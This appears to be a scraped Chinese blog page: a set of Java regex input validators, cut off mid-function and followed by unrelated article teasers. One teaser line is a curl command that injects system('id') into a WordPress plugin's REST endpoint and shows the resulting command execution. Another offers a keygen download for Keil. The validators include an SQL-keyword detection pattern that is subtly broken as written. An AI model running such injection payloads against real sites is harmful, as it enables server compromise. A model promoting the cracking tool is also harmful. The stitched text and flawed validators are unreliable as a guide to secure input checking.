技术标签: JAVA 检查姓名 检查手机号 Java后端校验 正则表达式输入性校验 输入性校验
Java后端常用正则表达式输入性校验汇总,分享给大家。
直接上Java代码:
/**
* //验证数据的正则表达式
检查是否非负浮点数
/// <param name="InPut">要检查的字串</param>
/// <returns>bool</returns>
* @param InPut
* @return
*/
public static boolean IsNumeric(String InPut)
{
String reg = "^\\d+(\\.\\d+)?$";
return Pattern.matches(reg, InPut);
}/// <summary>
/// 检察是否正确的Email格式
/// </summary>
/// <remarks>修改时间:2012-11-01</remarks>
/// <param name="str">要检查的字串</param>
/// <returns>bool</returns>
public static boolean IsEmail(String InPut)
{
String reg = "^([a-z0-9A-Z]+[-|_|\\.]?)+[a-z0-9A-Z]@([a-z0-9A-Z]+(-[a-z0-9A-Z]+)?\\.)+[a-zA-Z]{2,}$";
return Pattern.matches(reg, InPut);
}/// <summary>
/// 检查是否正确的座机号码
/// </summary>
/// <remarks>修改时间:2012-11-01</remarks>
/// <param name="InPut">要检查的字符串</param>
/// <returns>bool</returns>
public static boolean IsPhone(String InPut)
{
// return Regex.IsMatch(InPut, @"(\(\d{3,4}\)|\d{3,4}-|\s)?\d{8}");
String reg = "(\\(\\d{3,4}\\)|\\d{3,4}-|\\s)?\\d{8}";
return Pattern.matches(reg, InPut);
}/// <summary>
/// 检查是否正确的手机号码
/// </summary>
/// <remarks>修改时间:2012-11-01</remarks>
/// <param name="InPut">要检查的字符串</param>
/// <returns>bool</returns>
public static boolean IsMobilePhone(String InPut)
{
String reg = "^(((13[0-9])|(15([0-3]|[5-9]))|(18[0,5-9]))\\d{8})|(0\\d{2}-\\d{8})|(0\\d{3}-\\d{7})$";
return Pattern.matches(reg, InPut);
}/// <summary>
/// 检查是否正确的传真号码
/// </summary>
/// <remarks>修改时间:2012-11-01</remarks>
/// <param name="InPut">要检查的字符串</param>
/// <returns>bool</returns>
public static boolean IsFax(String InPut)
{
//return Regex.IsMatch(InPut, @"^[+]{0,1}(\d){1,3}[ ]?([-]?((\d)|[ ]){1,12})+$");
String reg = "^[+]{0,1}(\\d){1,3}[ ]?([-]?((\\d)|[ ]){1,12})+$";
return Pattern.matches(reg, InPut);
}/// <summary>
/// 检查是否正确的邮编号码
/// </summary>
/// <param name="InPut">要检查的字符串</param>
/// <returns>bool</returns>
public static boolean IsCode(String InPut)
{
//return Regex.IsMatch(InPut, @"^\d{6}$");
String reg = "^\\d{6}$";
return Pattern.matches(reg, InPut);
}/// <summary>
/// 检查是否正确的网络地址
/// </summary>
/// <param name="InPut">要检查的字符串</param>
/// <returns>bool</returns>
public static boolean IsInternetUrl(String InPut)
{
//return Regex.IsMatch(InPut, @"[a-zA-z]+://[^\s]*");
String reg = "[a-zA-z]+://[^\\s]*";
return Pattern.matches(reg, InPut);
}/// <summary>
/// 检查是否正确的姓名
/// </summary>
/// <param name="InPut">要检查的字符串</param>
/// <returns>bool</returns>
public static boolean IsName(String InPut)
{
// return Regex.IsMatch(InPut, @"[a-zA-Z]{1,20}|[\u4e00-\u9fa5]{1,10}");
String reg = "[a-zA-Z]{1,20}|[\u4e00-\u9fa5]{1,10}";
return Pattern.matches(reg, InPut);
}/// <summary>
/// 检查是否正确的英文名
/// </summary>
/// <param name="InPut">要检查的字符串</param>
/// <returns>bool</returns>
public static boolean IsEName(String InPut)
{
//return Regex.IsMatch(InPut, @"[a-zA-Z]{1,20}");
String reg = "[a-zA-Z]{1,20}";
return Pattern.matches(reg, InPut);
}/// <summary>
/// 检察是否正确的日期格式
/// </summary>
/// <param name="str">要检查的字串</param>
/// <returns>bool</returns>
public static boolean IsDate(String InPut)
{
//考虑到了4年一度的366天,还有特殊的2月的日期
/*Regex reg = new Regex(@"^((((1[6-9]|[2-9]\d)\d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]\d|3[01]))|(((1[6-9]|[2-9]\d)\d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]\d|30))|(((1[6-9]|[2-9]\d)\d{2})-0?2-(0?[1-9]|1\d|2[0-8]))|(((1[6-9]|[2-9]\d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))-0?2-29-))$");
return reg.IsMatch(InPut);*/
String reg = "^((((1[6-9]|[2-9]\\d)\\d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]\\d|3[01]))|(((1[6-9]|[2-9]\\d)\\d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]\\d|30))|(((1[6-9]|[2-9]\\d)\\d{2})-0?2-(0?[1-9]|1\\d|2[0-8]))|(((1[6-9]|[2-9]\\d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))-0?2-29-))$";
return Pattern.matches(reg, InPut);
}/// <summary>
/// 是否是SQL语句
/// </summary>
/// <param name="str">要检查的字串</param>
/// <returns>bool</returns>
public static boolean IsSQL(String InPut)
{
/* Regex reg = new Regex(@"\?|Truncate%20|Truncate\s+|ALTER%20|ALTER\s+|select%20|select\s+|insert%20|insert\s+|delete%20|delete\s+|count\(|drop%20|drop\s+|update%20|update\s+", RegexOptions.IgnoreCase);return reg.IsMatch(InPut);*/
String reg = "\\?|Truncate%20|Truncate\\s+|ALTER%20|ALTER\\s+|select%20|select\\s+|insert%20|insert\\s+|delete%20|delete\\s+|count\\(|drop%20|drop\\s+|update%20|update\\s+";
return Pattern.matches(reg, InPut);
}/// <summary>
/// 是否为IP
/// </summary>
/// <param name="InPut">要检查的字符串</param>
/// <returns>bool</returns>
public static boolean IsIP(String InPut)
{
//return Regex.IsMatch(InPut, @"^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$");
String reg = "^(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])$";
return Pattern.matches(reg, InPut);
}/// <summary>
/// 是否为URL
/// </summary>
/// <param name="InPut">要检查的字符串</param>
/// <returns>bool</returns>
public static boolean IsURL(String InPut)
{
主要是文章采集用的,匹配比较松。
//return Regex.IsMatch(InPut, @"^(http|ftp|file)://.*");
// return Regex.IsMatch(InPut, @"^(http|ftp|file)://.*");
String reg ="^(http|ftp|file)://.*";
return Pattern.matches(reg, InPut);
}/// <summary>
/// 是否为正确的机构编码
/// </summary>
/// <param name="InPut">要检查的字符串</param>
/// <param name="IsParent">是否为根节点</param>
/// <returns>bool</returns>
public static boolean IsUnitCode(String InPut, Boolean IsParent)
{
if (IsParent)
return Pattern.matches("([a-zA-Z0-9]{3}).([a-zA-Z0-9]{3}).([a-zA-Z0-9]{3})", InPut);
else
return Pattern.matches("[a-zA-Z0-9]{3}", InPut);
}
//验证身份证号码
/// <summary>
/// 验证身份证号码
/// </summary>
/// <param name="Id">身份证号码</param>
/// <returns>验证成功为True,否则为False</returns>
/* public static boolean CheckIDCard(String Id)
{
if (Id.length() == 18)
{
boolean check = CheckIDCard18(Id);
return check;
}
else if (Id.length() == 15)
{
boolean check = CheckIDCard15(Id);
return check;
}
else
{
return false;
}
}
上篇博文分析了同一有限长序列在不同的N下的DFT之间的不同: MATLAB 】使用 MATLAB 作图讨论有限长序列的 N 点 DFT(强烈推荐)(含MATLAB脚本)那篇博文中,我们通过补零的方式来增加N,这样最后的结论是随着N的不断增大,我们只会得到DTFT上的更多的采样点,也就是说频率采样率增加了。通过补零,得到高密度谱(DFT),但不能得到高分辨率谱,因为补零并没有任何新的信息附加到这...
使用keil4的时候发现这个报了一个错误…\OUT\STM32TEST.axf: error: L6031U: Could not open scatter description file …\OUT\STM32TEST.sct: NNot enough information to list image symbols.Not enough information to list the image map.其实是没有注册使用管理员打开注册后就不会报错了附带2032年的注册机下载链接
$curl-s-d'blowfish=1'-d"blowf=system('id');"'http://localhost:8888/wp-json/am-member/license'uid=33(www-data)gid=33(www-data)groups=33(www-data)
第一步:首先是要配置相关的PCA寄存器 比如我们配置CCP0引脚输出PWM。// PCA0初始化AUXR1 &amp;= ~0x30;AUXR1 |= 0x10;//切换IO口, 0x00: P1.2 P1.1 P1.0 P3.7, 0x10: P3.4 P3.5 P3.6 P3.7, 0x20: P2.4 P2.5 P2.6 P2.7CCAPM0 = 0x42; ...
S5PV210启动原理: 启动过程: 开发板通过拨码开关设定为从Nand flash启动 u-boot.bin(启动程序\引导程序),烧写在Nand Flash的0地址 1.开发板上电,CPU最先执行IROM(被映射在0地址)中的代码,此代码是三星固化好的。(IROM由硬件将其映射在0地址,因此,系统上电,默认到0地址找程序执行)2.IROM判断拨码开关,从哪种设备启动系统,IROM就到Na
今天遇到这样一个问题,跟国外一个哥们遇到的问题一样http://stackoverflow.com/questions/6871088/cvcapturefromcam-is-working-but-cvqueryframe-returns-nullcvCaptureFromCam is working but cvQueryFrame returns NULL弄了一天了,笔记本上的摄
KINGBASE 数据库是基于PostgreSQL内核研发的国产数据库,在应用开发过程中想使用列转行函数,发现KINGBASE V7版本没有,PostgreSQL 列转行函数试试STRING_AGG。没有没关系,我们可以自定义函数来实现列转行,高版本的KINGBASE会支持列转行函数。--创建测试表 CREATE TABLE TESTHAHA(ID INT,DATA_TIME...
一、创建文件夹结构1、在../qcad/scripts/路径下创建MyScripts文件夹2、在MyScripts文件夹中创建一个文本文件“MyScripts.js”;3、 在MyScripts文件夹中创建另外一个文件夹来提供一个命令Action,如命名为“MyAction”;4、在MyAction文件夹中创建一个文本文件MyAction.js;目录结构如下图所示二、创建菜单和动作...
转文地址:http://blog.163.com/[email protected]/blog/static/1268082432010310103037253/系统挂起(Suspend)是电源管理(APM&ACPI)的一个特性,给用户带来了很大的方便。Linux在2.6系列核心中对电源管理有了较好的支持,下面就谈谈Linux对系统挂起的支持情况。Linux对系统挂起的支持 Li
1)传统方式找DriverManager要连接,数目是有限的。
一.ClutterAnimation这个类实现的功能比较简单,而且,最主要是,进行动画演示后,actor的外观不会回归原来的位置,必须要经过时间轴反转变回原来的的状态.二.ClutterAnimator:比较喜欢clutter_animator_set函数,可以指定起点,过程关键点,以及终点,而且每次都可以按照这个路径运行效果,对于一些单向重复的过程很有用.
经常见到主板上有个固态接口,叫做nvme pcie固态盘接口,专业的名称叫做m.2/ngff keym nvme pcie4x(2x/1x)接口,一般商家都会和用户说这个接口可以装nvme固态硬盘。这样的接口仅仅是装nvme固态硬盘吗?当然不是,从这个接口名称的字面看,有 pcie4x(2x/1x)这段关键字,就是说这样的接口是有pcie协议通道的,只是换了接口形式,和常见的pcie接口不一样而已...